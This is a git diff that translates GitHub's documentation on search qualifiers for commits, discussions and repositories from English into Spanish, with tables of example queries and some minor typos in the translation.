 {%- ifversion fpt or ghes or ghec %}
 | `is:public` | [**is:public**](https://github.com/search?q=is%3Apublic&type=Commits) matches commits to public repositories.
 {%- endif %}
-
 {%- ifversion ghes or ghec or ghae %}
 | `is:internal` | [**is:internal**](https://github.com/search?q=is%3Ainternal&type=Commits) matches commits to internal repositories.
 {%- endif %}
-
 | `is:private` | [**is:private**](https://github.com/search?q=is%3Aprivate&type=Commits) matches commits to private repositories.
 
 ## Further reading
diff --git a/translations/es-ES/content/search-github/searching-on-github/searching-discussions.md b/translations/es-ES/content/search-github/searching-on-github/searching-discussions.md
index dfd0e87b86..1f55c756be 100644
--- a/translations/es-ES/content/search-github/searching-on-github/searching-discussions.md
+++ b/translations/es-ES/content/search-github/searching-on-github/searching-discussions.md
@@ -1,6 +1,6 @@
 ---
-title: Searching discussions
-intro: 'You can search for discussions on {% data variables.product.product_name %} and narrow the results using search qualifiers.'
+title: Buscar debates
+intro: 'Puedes buscar debates en {% data variables.product.product_name %} y reducir los resultados utilizando calificadores.'
 versions:
   fpt: '*'
   ghec: '*'
@@ -11,108 +11,104 @@ redirect_from:
   - /github/searching-for-information-on-github/searching-on-github/searching-discussions
 ---
 
-## About searching for discussions
+## Acerca de buscar debates
 
-You can search for discussions globally across all of {% data variables.product.product_name %}, or search for discussions within a particular organization or repository. For more information, see "[About searching on {% data variables.product.prodname_dotcom %}](/github/searching-for-information-on-github/about-searching-on-github)."
+Puedes buscar debates globalmente a través de todo {% data variables.product.product_name %}, o buscar debates dentro de una organización o repositorio específicos. Para obtener más información, consulta [Acerca de buscar en {% data variables.product.prodname_dotcom %}](/github/searching-for-information-on-github/about-searching-on-github)".
 
 {% data reusables.search.syntax_tips %}
 
-## Search by the title, body, or comments
+## Buscar por título, cuerpo o comentarios
 
-With the `in` qualifier you can restrict your search for discussions to the title, body, or comments. You can also combine qualifiers to search a combination of title, body, or comments. When you omit the `in` qualifier, {% data variables.product.product_name %} searches the title, body, and comments.
+Puedes restringir la búsqueda de debates al título, cuerpo o comentarios si utilizas el calificador `in`. También puedes combinar los calificadores para buscar una combinación de título, cuerpo o comentarios. Cuando omites el calificador `in`, {% data variables.product.product_name %} busca el título, cuerpo y comentarios.
 
-| Qualifier | Example |
-| :- | :- |
-| `in:title` | [**welcome in:title**](https://github.com/search?q=welcome+in%3Atitle&type=Discussions) matches discussions with "welcome" in the title. |
-| `in:body` | [**onboard in:title,body**](https://github.com/search?q=onboard+in%3Atitle%2Cbody&type=Discussions) matches discussions with "onboard" in the title or body. |
-| `in:comments` | [**thanks in:comments**](https://github.com/search?q=thanks+in%3Acomment&type=Discussions) matches discussions with "thanks" in the comments for the discussion. |
+| Qualifier     | Ejemplo                                                                                                                                                                        |
+|:------------- |:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| `in:title`    | [**welcome in:title**](https://github.com/search?q=welcome+in%3Atitle&type=Discussions) coincide con los debates que tengan "welcome" en el título.                            |
+| `in:body`     | [**onboard in:title,body**](https://github.com/search?q=onboard+in%3Atitle%2Cbody&type=Discussions) coincide con los debates que tengan "onboard" en el título o en el cuerpo. |
+| `in:comments` | [**thanks in:comments**](https://github.com/search?q=thanks+in%3Acomment&type=Discussions) coincide con los debates que tengan "thanks" en sus comentarios.                    |
 
-## Search within a user's or organization's repositories
+## Buscar dentro de los repositorios de un usuario u organización
 
-To search discussions in all repositories owned by a certain user or organization, you can use the  `user` or `org` qualifier. To search discussions in a specific repository, you can use the `repo` qualifier.
+Para buscar los debates en todos los repositorios que pertenezcan a algún usuario u organización, puedes utilizar el calificador `user` o `org`. Para buscar los debates en un repositorio específico, puedes utilizar el calificador `repo`.
 
-| Qualifier | Example |
-| :- | :- |
-| <code>user:<em>USERNAME</em></code> | [**user:octocat feedback**](https://github.com/search?q=user%3Aoctocat+feedback&type=Discussions) matches discussions with the word "feedback" from repositories owned by @octocat. |
-| <code>org:<em>ORGNAME</em></code> | [**org:github**](https://github.com/search?q=org%3Agithub&type=Discussions&utf8=%E2%9C%93) matches discussions in repositories owned by the GitHub organization. |
-| <code>repo:<em>USERNAME/REPOSITORY</em></code> | [**repo:nodejs/node created:<2021-01-01**](https://github.com/search?q=repo%3Anodejs%2Fnode+created%3A%3C2020-01-01&type=Discussions) matches discussions from @nodejs' Node.js runtime project that were created before January 2021. |
+| Qualifier                 | Ejemplo                                                                                                                                                                                                                                                         |
+|:------------------------- |:--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>user:<em>USERNAME</em></code> | [**user:octocat feedback**](https://github.com/search?q=user%3Aoctocat+feedback&type=Discussions) coincide con debates con la palabra "retroalimentación" de los repositorios que pertenezcan a @octocat.                                                       |
+| <code>org:<em>ORGNAME</em></code> | [**org:github**](https://github.com/search?q=org%3Agithub&type=Discussions&utf8=%E2%9C%93) coincide con los debates en los repositorios que pertenezcan a la organización GitHub.                                                                               |
+| <code>repo:<em>USERNAME/REPOSITORY</em></code> | [**repo:nodejs/node created:<2021-01-01**](https://github.com/search?q=repo%3Anodejs%2Fnode+created%3A%3C2020-01-01&type=Discussions) coincide con los debates del proyecto de tiempo de ejecución de Node.js de @nodejs que se crearon antes de enero de 2021. |
 
-## Filter by repository visibility
+## Filtrar por visibilidad de repositorio
 
-You can filter by the visibility of the repository containing the discussions using the `is` qualifier. For more information, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)."
+Puedes filtrar los resultados por la visibilidad del repositorio que contenga los debates que utilicen el calificador `is`. Para obtener más información, consulta la sección "[Acerca de los repositorios](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)".
 
-| Qualifier  | Example
-| :- | :- |{% ifversion fpt or ghes or ghec %}
-| `is:public` | [**is:public**](https://github.com/search?q=is%3Apublic&type=Discussions) matches discussions in public repositories.{% endif %}{% ifversion ghec %}
-| `is:internal` | [**is:internal**](https://github.com/search?q=is%3Ainternal&type=Discussions) matches discussions in internal repositories.{% endif %}
-| `is:private` | [**is:private tiramisu**](https://github.com/search?q=is%3Aprivate+tiramisu&type=Discussions) matches discussions that contain the word "tiramisu" in private repositories you can access.
+| Calificador | Ejemplo | :- | :- |{% ifversion fpt or ghes or ghec %} | `is:public` | [**is:public**](https://github.com/search?q=is%3Apublic&type=Discussions) coincide con los debates en repositorios públicos.{% endif %}{% ifversion ghec %} | `is:internal` | [**is:internal**](https://github.com/search?q=is%3Ainternal&type=Discussions) coincide con los debates en los repositorios internos.{% endif %} | `is:private` | [**is:private tiramisu**](https://github.com/search?q=is%3Aprivate+tiramisu&type=Discussions) coincide con los debates que contengan la palabra "tiramisu" en los repositorios privados a los cuales puedas acceder.
 
-## Search by author
+## Buscar por autor
 
-The `author` qualifier finds discussions created by a certain user.
+El calificador `author` encuentra debates crean usuarios específicos.
 
-| Qualifier | Example |
-| :- | :- |
-| <code>author:<em>USERNAME</em></code> | [**cool author:octocat**](https://github.com/search?q=cool+author%3Aoctocat&type=Discussions) matches discussions with the word "cool" that were created by @octocat. |
-| | [**bootstrap in:body author:octocat**](https://github.com/search?q=bootstrap+in%3Abody+author%3Aoctocat&type=Discussions) matches discussions created by @octocat that contain the word "bootstrap" in the body. |
+| Qualifier                 | Ejemplo                                                                                                                                                                                                              |
+|:------------------------- |:-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>author:<em>USERNAME</em></code> | [**cool author:octocat**](https://github.com/search?q=cool+author%3Aoctocat&type=Discussions) coincide con debates que tienen la palabra "cool" y que creó @octocat.                                                 |
+|                           | [**bootstrap in:body author:octocat**](https://github.com/search?q=bootstrap+in%3Abody+author%3Aoctocat&type=Discussions) coincide con debates que creó @octocat y que contienen la palabra "bootstrap" enel cuerpo. |
 
-## Search by commenter
+## Buscar por comentarista
 
-The `commenter` qualifier finds discussions that contain a comment from a certain user.
+El calificador `commenter` encuentra debates que contienen un comentario de un usuario específico.
 
-| Qualifier | Example |
-| :- | :- |
-| <code>commenter:<em>USERNAME</em></code> | [**github commenter:becca org:github**](https://github.com/search?utf8=%E2%9C%93&q=github+commenter%3Abecca+org%3Agithub&type=Discussions) matches discussions in repositories owned by GitHub, that contain the word "github," and have a comment by @becca.
+| Qualifier                 | Ejemplo                                                                                                                                                                                                                                                                          |
+|:------------------------- |:-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>commenter:<em>USERNAME</em></code> | [**github commenter:becca org:github**](https://github.com/search?utf8=%E2%9C%93&q=github+commenter%3Abecca+org%3Agithub&type=Discussions) coincide con debates en los repositorios que pertenecen a GitHub, los cuales contengan la palabra "github" y un comentario de @becca. |
 
-## Search by a user that's involved in a discussion
+## Buscar por un usuario que está involucrado en un debate
 
-You can use the `involves` qualifier to find discussions that involve a certain user. The qualifier returns discussions that were either created by a certain user, mention the user, or contain comments by the user. The `involves` qualifier is a logical OR between the `author`, `mentions`, and `commenter` qualifiers for a single user.
+Puedes utilizar el calificador `involves` para encontrar debates que involucren a algún usuario. El calificador devuelve los debates que un usuario haya creado, que mencionen al usuario, o que contengan sus comentarios. El calificador `involves` es un operador lógico OR (o) entre los calificadores `author`, `mentions`, y `commenter` para un usuario único.
 
-| Qualifier | Example |
-| :- | :- |
-| <code>involves:<em>USERNAME</em></code> | **[involves:becca involves:octocat](https://github.com/search?q=involves%3Abecca+involves%3Aoctocat&type=Discussions)** matches discussions either @becca or @octocat are involved in.
-| | [**NOT beta in:body involves:becca**](https://github.com/search?q=NOT+beta+in%3Abody+involves%3Abecca&type=Discussions) matches discussions @becca is involved in that do not contain the word "beta" in the body.
+| Qualifier                 | Ejemplo                                                                                                                                                                                                                                          |
+|:------------------------- |:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| <code>involves:<em>USERNAME</em></code> | **[involves:becca involves:octocat](https://github.com/search?q=involves%3Abecca+involves%3Aoctocat&type=Discussions)** coincide con debates en los que se involucre ya sea a @becca o a @octocat.                                               |
+|                           | [**NOT beta in:body involves:becca**](https://github.com/search?q=NOT+beta+in%3Abody+involves%3Abecca&type=Discussions) coincide con debates en los que se involucre a @becca, en los cuales no se contenga la palabra "beta" dentro del cuerpo. |
 
-## Search by number of comments
+## Buscar por cantidad de comentarios
 
-You can use the `comments` qualifier along with greater than, less than, and range qualifiers to search by the number of comments. For more information, see "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)."
+Puedes utilizar el calificador `comments` junto con los calificadores de mayor que, menor que y de rango para buscar por cantidad de comentarios. Para obtener más información, consulta la sección "[Entender la sintaxis de búsqueda](/github/searching-for-information-on-github/understanding-the-search-syntax)".
 
-| Qualifier | Example |
-| :- | :- |
-| <code>comments:<em>n</em></code> | [**comments:&gt;100**](https://github.com/search?q=comments%3A%3E100&type=Discussions) matches discussions with more than 100 comments.
-| | [**comments:500..1000**](https://github.com/search?q=comments%3A500..1000&type=Discussions) matches discussions with comments ranging from 500 to 1,000.
+| Qualifier                 | Ejemplo                                                                                                                                                    |
+|:------------------------- |:---------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>comments:<em>n</em></code> | [**comments:&gt;100**](https://github.com/search?q=comments%3A%3E100&type=Discussions) coincide con debates de más de 100 comentarios.               |
+|                           | [**comments:500..1000**](https://github.com/search?q=comments%3A500..1000&type=Discussions) coincide con debates que tengan entre 500 y 1,000 comentarios. |
 
-## Search by number of interactions
+## Buscar por cantidad de interacciones
 
-You can filter discussions by the number of interactions with the `interactions` qualifier along with greater than, less than, and range qualifiers. The interactions count is the number of reactions and comments on a discussion. For more information, see "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)."
+Puedes filtrar debates por el número de interacciones con el calificador `interactions` junto con los calificadores de mayor qué, menor qué y de rango. El conteo de interacciones es la cantidad de reacciones y comentarios en un debate. Para obtener más información, consulta la sección "[Entender la sintaxis de búsqueda](/github/searching-for-information-on-github/understanding-the-search-syntax)".
 
-| Qualifier | Example |
-| :- | :- |
-| <code>interactions:<em>n</em></code> | [** interactions:&gt;2000**](https://github.com/search?q=interactions%3A%3E2000) matches discussions with more than 2,000 interactions.
-| | [**interactions:500..1000**](https://github.com/search?q=interactions%3A500..1000) matches discussions with interactions ranging from 500 to 1,000.
+| Qualifier                 | Ejemplo                                                                                                                                                 |
+|:------------------------- |:------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>interactions:<em>n</em></code> | [** interactions:&gt;2000**](https://github.com/search?q=interactions%3A%3E2000) coincide con los debates de más de 2,000 interacciones.      |
+|                           | [**interactions:500..1000**](https://github.com/search?q=interactions%3A500..1000) coincide con los debates que tengan entre 500 y 1,000 interacciones. |
 
-## Search by number of reactions
+## Buscar por cantidad de reacciones
 
-You can filter discussions by the number of reactions using the `reactions` qualifier along with greater than, less than, and range qualifiers. For more information, see "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)."
+Puedes filtrar los debates de acuerdo con la cantidad de reacciones si utilizas el calificador `reactions` junto con los calificadores de mayor qué, menor qué y rango. Para obtener más información, consulta la sección "[Entender la sintaxis de búsqueda](/github/searching-for-information-on-github/understanding-the-search-syntax)".
 
-| Qualifier | Example |
-| :- | :- |
-| <code>reactions:<em>n</em></code> | [** reactions:&gt;1000**](https://github.com/search?q=reactions%3A%3E500) matches discussions with more than 500 reactions.
-| | [**reactions:500..1000**](https://github.com/search?q=reactions%3A500..1000) matches discussions with reactions ranging from 500 to 1,000.
+| Qualifier                 | Ejemplo                                                                                                                                       |
+|:------------------------- |:--------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>reactions:<em>n</em></code> | [** reactions:&gt;1000**](https://github.com/search?q=reactions%3A%3E500) coincide con debates con más de 500 reacciones.           |
+|                           | [**reactions:500..1000**](https://github.com/search?q=reactions%3A500..1000) coincide con los debtes que tengan entre 500 y 1,000 reacciones. |
 
-## Search by when a discussion was created or last updated
+## Buscar por cuándo se creó o actualizó por última vez un debate
 
-You can filter discussions based on times of creation, or when the discussion was last updated. For discussion creation, you can use the `created` qualifier; to find out when an discussion was last updated, use the `updated` qualifier.
+Puedes filtrar los debates con base en las fechas de creación o por cuándo se actualizaron por última vez. Para la creación de debates, puedes utilizar el calificador `created`; para saber cuándo se actualizó por última vez el debate, utiliza el calificador `updated`.
 
-Both qualifiers take a date as a parameter. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %}
+Ambos calificadores toman la fecha como parámetro. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %}
 
 {% data reusables.search.date_gt_lt %}
 
-| Qualifier | Example |
-| :- | :- |
-| <code>created:<em>YYYY-MM-DD</em></code> | [**created:>2020-11-15**](https://github.com/search?q=created%3A%3E%3D2020-11-15&type=discussions) matches discussions that were created after November 15, 2020.
-| <code>updated:<em>YYYY-MM-DD</em></code> | [**weird in:body updated:>=2020-02-01**](https://github.com/search?q=weird+in%3Abody+updated%3A%3E%3D2020-12-01&type=Discussions) matches discussions with the word "weird" in the body that were updated after December 2020.
+| Qualifier                  | Ejemplo                                                                                                                                                                                                                                                    |
+|:-------------------------- |:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>created:<em>YYYY-MM-DD</em></code>  | [**created:>2020-11-15**](https://github.com/search?q=created%3A%3E%3D2020-11-15&type=discussions) coincide con debates que se crearon después del 15 de noviembre de 2020.                                                                                |
+| <code>updated:<em>YYYY-MM-DD</em></code> | [**weird in:body updated:>=2020-02-01**](https://github.com/search?q=weird+in%3Abody+updated%3A%3E%3D2020-12-01&type=Discussions) coincide con debates que tengan la palabra "weird" en el cuerpo y que se hayan actualizado después de diciembre de 2020. |
 
-## Further reading
+## Leer más
 
-- "[Sorting search results](/search-github/getting-started-with-searching-on-github/sorting-search-results/)"
+- "[Clasificar los resultados de la búsqueda](/search-github/getting-started-with-searching-on-github/sorting-search-results/)"
diff --git a/translations/es-ES/content/search-github/searching-on-github/searching-for-repositories.md b/translations/es-ES/content/search-github/searching-on-github/searching-for-repositories.md
index d0f25c2d0c..6f5bf9bf57 100644
--- a/translations/es-ES/content/search-github/searching-on-github/searching-for-repositories.md
+++ b/translations/es-ES/content/search-github/searching-on-github/searching-for-repositories.md
@@ -1,8 +1,8 @@
 ---
-title: Searching for repositories
-intro: 'You can search for repositories on {% data variables.product.product_name %} and narrow the results using these repository search qualifiers in any combination.'
+title: Buscar repositorios
+intro: 'Puedes buscar repositorios en {% data variables.product.product_name %} y acotar los resultados utilizando estos calificadores de búsqueda de repositorio en cualquier combinación.'
 redirect_from:
-  - /articles/searching-repositories/
+  - /articles/searching-repositories
   - /articles/searching-for-repositories
   - /github/searching-for-information-on-github/searching-for-repositories
   - /github/searching-for-information-on-github/searching-on-github/searching-for-repositories
@@ -13,193 +13,190 @@ versions:
   ghec: '*'
 topics:
   - GitHub search
-shortTitle: Search for repositories
+shortTitle: Buscar repositorios
 ---
-You can search for repositories globally across all of {% data variables.product.product_location %}, or search for repositories within a particular organization. For more information, see "[About searching on {% data variables.product.prodname_dotcom %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github)."
 
-To include forks in the search results, you will need to add `fork:true` or `fork:only` to your query. For more information, see "[Searching in forks](/search-github/searching-on-github/searching-in-forks)."
+Puedes buscar repositorios globalmente a través de todos los {% data variables.product.product_location %}, o buscar repositorios dentro de una organización particular. Para obtener más información, consulta [Acerca de buscar en {% data variables.product.prodname_dotcom %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github)".
+
+Para incluir bifurcaciones en los resultados de las búsquedas, deberás agregar `fork:true` o `fork:only` en tu consulta. Para obtener más información, consulta "[Buscar en bifurcaciones](/search-github/searching-on-github/searching-in-forks)".
 
 {% data reusables.search.syntax_tips %}
 
-## Search by repository name, description, or contents of the README file
+## Buscar por nombre de repositorio, descripción o contenidos del archivo README
 
-With the `in` qualifier you can restrict your search to the repository name, repository description, contents of the README file, or any combination of these. When you omit this qualifier, only the repository name and description are searched.
+Con el calificador `in` puedes restringir tu búsqueda al nombre del repositorio, su descripción, los contenidos del archivo README, o cualquier combinación de estos. Cuando omites este calificador, únicamente se buscan el nombre del repositorio y la descripción.
 
-| Qualifier  | Example
-| ------------- | -------------
-| `in:name` | [**jquery in:name**](https://github.com/search?q=jquery+in%3Aname&type=Repositories) matches repositories with "jquery" in the repository name.
-| `in:description`  | [**jquery in:name,description**](https://github.com/search?q=jquery+in%3Aname%2Cdescription&type=Repositories) matches repositories with "jquery" in the repository name or description.
-| `in:readme` | [**jquery in:readme**](https://github.com/search?q=jquery+in%3Areadme&type=Repositories) matches repositories mentioning "jquery" in the repository's README file.
-| `repo:owner/name` | [**repo:octocat/hello-world**](https://github.com/search?q=repo%3Aoctocat%2Fhello-world) matches a specific repository name.
+| Qualifier         | Ejemplo                                                                                                                                                                                  |
+| ----------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `in:name`         | [**jquery in:name**](https://github.com/search?q=jquery+in%3Aname&type=Repositories) coincide con repositorios que tengan "jquery" en su nombre.                                         |
+| `in:description`  | [**jquery in:name,description**](https://github.com/search?q=jquery+in%3Aname%2Cdescription&type=Repositories) coincide con repositorios que tengan "jquary" en su nombre o descripción. |
+| `in:readme`       | [**jquery in:readme**](https://github.com/search?q=jquery+in%3Areadme&type=Repositories) coincide con repositorios que mencionen "jquery" en su archivo README.                          |
+| `repo:owner/name` | [**repo:octocat/hello-world**](https://github.com/search?q=repo%3Aoctocat%2Fhello-world) encuentra un nombre de repositorio específico.                                                  |
 
-## Search based on the contents of a repository
+## Buscar en base a los contenidos de un repositorio
 
-You can find a repository by searching for content in the repository's README file using the `in:readme` qualifier. For more information, see "[About READMEs](/github/creating-cloning-and-archiving-repositories/about-readmes)."
+Puedes encontrar un repositorio si buscas el contenido de su archivo README utilizando el calificador `in:readme`. Para obtener más información, consulta "[Acerca de los README](/github/creating-cloning-and-archiving-repositories/about-readmes)".
 
-Besides using `in:readme`, it's not possible to find repositories by searching for specific content within the repository. To search for a specific file or content within a repository, you can use the file finder or code-specific search qualifiers. For more information, see "[Finding files on {% data variables.product.prodname_dotcom %}](/search-github/searching-on-github/finding-files-on-github)" and "[Searching code](/search-github/searching-on-github/searching-code)."
+Además de utilizar `in:readme`, no es posible encontrar repositorios al buscar por el contenido específico dentro del repositorio. Para buscar un archivo o contenido específico dentro de un repositorio, puedes utilizar el buscador de archivo o los calificadores de búsqueda específica. Para obtener más información, consulta "[Encontrar archivos en {% data variables.product.prodname_dotcom %}](/search-github/searching-on-github/finding-files-on-github)" y "[Buscar código](/search-github/searching-on-github/searching-code)."
 
-| Qualifier  | Example
-| ------------- | -------------
-| `in:readme` | [**octocat in:readme**](https://github.com/search?q=octocat+in%3Areadme&type=Repositories) matches repositories mentioning "octocat" in the repository's README file.
+| Qualifier   | Ejemplo                                                                                                                                                            |
+| ----------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| `in:readme` | [**octocat in:readme**](https://github.com/search?q=octocat+in%3Areadme&type=Repositories) coincide con repositorios que mencionen "octocat" en su archivo README. |
 
-## Search within a user's or organization's repositories
+## Buscar dentro de los repositorios de un usuario u organización
 
-To search in all repositories owned by a certain user or organization, you can use the  `user` or `org` qualifier.
+Para buscar en todos los repositorios que son propiedad de una determinada organización o usuario, puedes utilizar el calificador `user` u `org`.
 
-| Qualifier  | Example
-| ------------- | -------------
-| <code>user:<em>USERNAME</em></code> | [**user:defunkt forks:&gt;100**](https://github.com/search?q=user%3Adefunkt+forks%3A%3E%3D100&type=Repositories) matches repositories from @defunkt that have more than 100 forks.
-| <code>org:<em>ORGNAME</em></code> | [**org:github**](https://github.com/search?utf8=%E2%9C%93&q=org%3Agithub&type=Repositories) matches repositories from GitHub.
+| Qualifier                 | Ejemplo                                                                                                                                                                                        |
+| ------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>user:<em>USERNAME</em></code> | [**user:defunkt forks:&gt;100**](https://github.com/search?q=user%3Adefunkt+forks%3A%3E%3D100&type=Repositories) encuentra repositorios de @defunkt que tienen más de 100 bifurcaciones. |
+| <code>org:<em>ORGNAME</em></code> | [**org:github**](https://github.com/search?utf8=%E2%9C%93&q=org%3Agithub&type=Repositories) encuentra repositorios de GitHub.                                                                  |
 
-## Search by repository size
+## Buscar por tamaño del repositorio
 
-The `size` qualifier finds repositories that match a certain size (in kilobytes), using greater than, less than, and range qualifiers. For more information, see "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)."
+El calificador `size` encuentra repositorios que coinciden con un tamaño determinado (en kilobytes), utilizando los calificadores de mayor que, menor que y rango. Para obtener más información, consulta la sección "[Entender la sintaxis de búsqueda](/github/searching-for-information-on-github/understanding-the-search-syntax)".
 
-| Qualifier  | Example
-| ------------- | -------------
-| <code>size:<em>n</em></code> | [**size:1000**](https://github.com/search?q=size%3A1000&type=Repositories) matches repositories that are 1 MB exactly.
-| | [**size:&gt;=30000**](https://github.com/search?q=size%3A%3E%3D30000&type=Repositories) matches repositories that are at least 30 MB.
-| | [**size:&lt;50**](https://github.com/search?q=size%3A%3C50&type=Repositories) matches repositories that are smaller than 50 KB.
-| | [**size:50..120**](https://github.com/search?q=size%3A50..120&type=Repositories) matches repositories that are between 50 KB and 120 KB.
+| Qualifier                 | Ejemplo                                                                                                                                             |
+| ------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>size:<em>n</em></code> | [**size:1000**](https://github.com/search?q=size%3A1000&type=Repositories) encuentra repositorios que tienen más de 1 MB con exactitud.             |
+|                           | [**size:&gt;=30000**](https://github.com/search?q=size%3A%3E%3D30000&type=Repositories) encuentra repositorios que tienen por lo menos 30 MB. |
+|                           | [**size:&lt;50**](https://github.com/search?q=size%3A%3C50&type=Repositories) encuentra repositorios que son menores de 50 KB.                |
+|                           | [**size:50..120**](https://github.com/search?q=size%3A50..120&type=Repositories) encuentra repositorios que están entre 50 KB y 120 KB.             |
 
-## Search by number of followers
+## Buscar por cantidad de seguidores
 
-You can filter repositories based on the number of users who follow the repositories, using the `followers` qualifier with greater than, less than, and range qualifiers. For more information, see "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)."
+Puedes filtrar los repositorios con base en la cantidad de usuarios que los siguen, utilizando el calificador `followers` con aquellos de mayor qué, menor qué y rango. Para obtener más información, consulta la sección "[Entender la sintaxis de búsqueda](/github/searching-for-information-on-github/understanding-the-search-syntax)".
 
-| Qualifier        | Example
-| ------------- | -------------
-| <code>followers:<em>n</em></code> | [**node followers:>=10000**](https://github.com/search?q=node+followers%3A%3E%3D10000) matches repositories with 10,000 or more followers mentioning the word "node".
-| | [**styleguide linter followers:1..10**](https://github.com/search?q=styleguide+linter+followers%3A1..10&type=Repositories) matches repositories with between 1 and 10 followers, mentioning the word "styleguide linter."
+| Qualifier                 | Ejemplo                                                                                                                                                                                                                |
+| ------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>followers:<em>n</em></code> | [**node followers:>=10000**](https://github.com/search?q=node+followers%3A%3E%3D10000) coincidirá con repositorios que tengan 10,000 o más seguidores y en donde se mencione la palabra "node".                        |
+|                           | [**styleguide linter followers:1..10**](https://github.com/search?q=styleguide+linter+followers%3A1..10&type=Repositories) encuentra repositorios con 1 a 10 seguidores, que mencionan la palabra "styleguide linter." |
 
-## Search by number of forks
+## Buscar por cantidad de bifurcaciones
 
-The `forks` qualifier specifies the number of forks a repository should have, using greater than, less than, and range qualifiers. For more information, see "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)."
+El calificador `forks` especifica la cantidad de bifurcaciones que un repositorio debería tener, utilizando los calificadores de mayor qué, menor qué y rango. Para obtener más información, consulta la sección "[Entender la sintaxis de búsqueda](/github/searching-for-information-on-github/understanding-the-search-syntax)".
 
-| Qualifier  | Example
-| ------------- | -------------
-| <code>forks:<em>n</em></code> | [**forks:5**](https://github.com/search?q=forks%3A5&type=Repositories) matches repositories with only five forks.
-| | [**forks:&gt;=205**](https://github.com/search?q=forks%3A%3E%3D205&type=Repositories) matches repositories with at least 205 forks.
-| | [**forks:&lt;90**](https://github.com/search?q=forks%3A%3C90&type=Repositories) matches repositories with fewer than 90 forks.
-| | [**forks:10..20**](https://github.com/search?q=forks%3A10..20&type=Repositories) matches repositories with 10 to 20 forks.
+| Qualifier                 | Ejemplo                                                                                                                                                |
+| ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| <code>forks:<em>n</em></code> | [**forks:5**](https://github.com/search?q=forks%3A5&type=Repositories) encuentra repositorios con solo cinco bifurcaciones.                            |
+|                           | [**forks:&gt;=205**](https://github.com/search?q=forks%3A%3E%3D205&type=Repositories) encuentra repositorios con por lo menos 205 bifurcaciones. |
+|                           | [**forks:&lt;90**](https://github.com/search?q=forks%3A%3C90&type=Repositories) encuentra repositorios con menos de 90 bifurcaciones.            |
+|                           | [**forks:10..20**](https://github.com/search?q=forks%3A10..20&type=Repositories) encuentra repositorios con 10 a 20 bifurcaciones.                     |
 
-## Search by number of stars
+## Buscar por cantidad de estrellas
 
-You can search repositories based on the number of stars the repositories have, using greater than, less than, and range qualifiers. For more information, see "[Saving repositories with stars](/github/getting-started-with-github/saving-repositories-with-stars)" and "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)."
+Puedes buscar repositorios con base en la cantidad de estrellas que tienen, utilizando los calificadores de mayor qué, menor qué y rango. Para obtener más información, consulta las secciones "[Guardar los repositorios con estrellas](/github/getting-started-with-github/saving-repositories-with-stars)" y "[Entender la sintaxis de búsqueda](/github/searching-for-information-on-github/understanding-the-search-syntax)".
 
-| Qualifier  | Example
-| ------------- | -------------
-| <code>stars:<em>n</em></code> | [**stars:500**](https://github.com/search?utf8=%E2%9C%93&q=stars%3A500&type=Repositories) matches repositories with exactly 500 stars.
-| | [**stars:10..20**](https://github.com/search?q=stars%3A10..20+size%3A%3C1000&type=Repositories) matches repositories 10 to 20 stars, that are smaller than 1000 KB.
-| | [**stars:&gt;=500 fork:true language:php**](https://github.com/search?q=stars%3A%3E%3D500+fork%3Atrue+language%3Aphp&type=Repositories) matches repositories with the at least 500 stars, including forked ones, that are written in PHP.
+| Qualifier                 | Ejemplo                                                                                                                                                                                                                                               |
+| ------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>stars:<em>n</em></code> | [**stars:500**](https://github.com/search?utf8=%E2%9C%93&q=stars%3A500&type=Repositories) encuentra repositorios con exactamente 500 estrellas.                                                                                                       |
+|                           | [**stars:10..20**](https://github.com/search?q=stars%3A10..20+size%3A%3C1000&type=Repositories) encuentra repositorios con 10 a 20 estrellas, que son menores que 1000 KB.                                                                            |
+|                           | [**stars:&gt;=500 fork:true language:php**](https://github.com/search?q=stars%3A%3E%3D500+fork%3Atrue+language%3Aphp&type=Repositories) encuentra repositorios con al menos 500 estrellas, incluidas los bifurcados, que están escritos en PHP. |
 
-## Search by when a repository was created or last updated
+## Buscar por cuándo fue creado o actualizado por última vez un repositorio
 
-You can filter repositories based on time of creation or time of last update. For repository creation, you can use the `created` qualifier; to find out when a repository was last updated, you'll want to use the `pushed` qualifier. The `pushed` qualifier will return a list of repositories, sorted by the most recent commit made on any branch in the repository.
+Puedes filtrar repositorios en base al momento de creación o al momento de la última actualización. Para la creación de un repositorio, puedes usar el calificador `created` (creado); para encontrar cuándo se actualizó por última vez un repositorio, querrás utilizar el calificador `pushed` (subido). El calificador `pushed` devolverá una lista de repositorios, clasificados por la confirmación más reciente realizada en alguna rama en el repositorio.
 
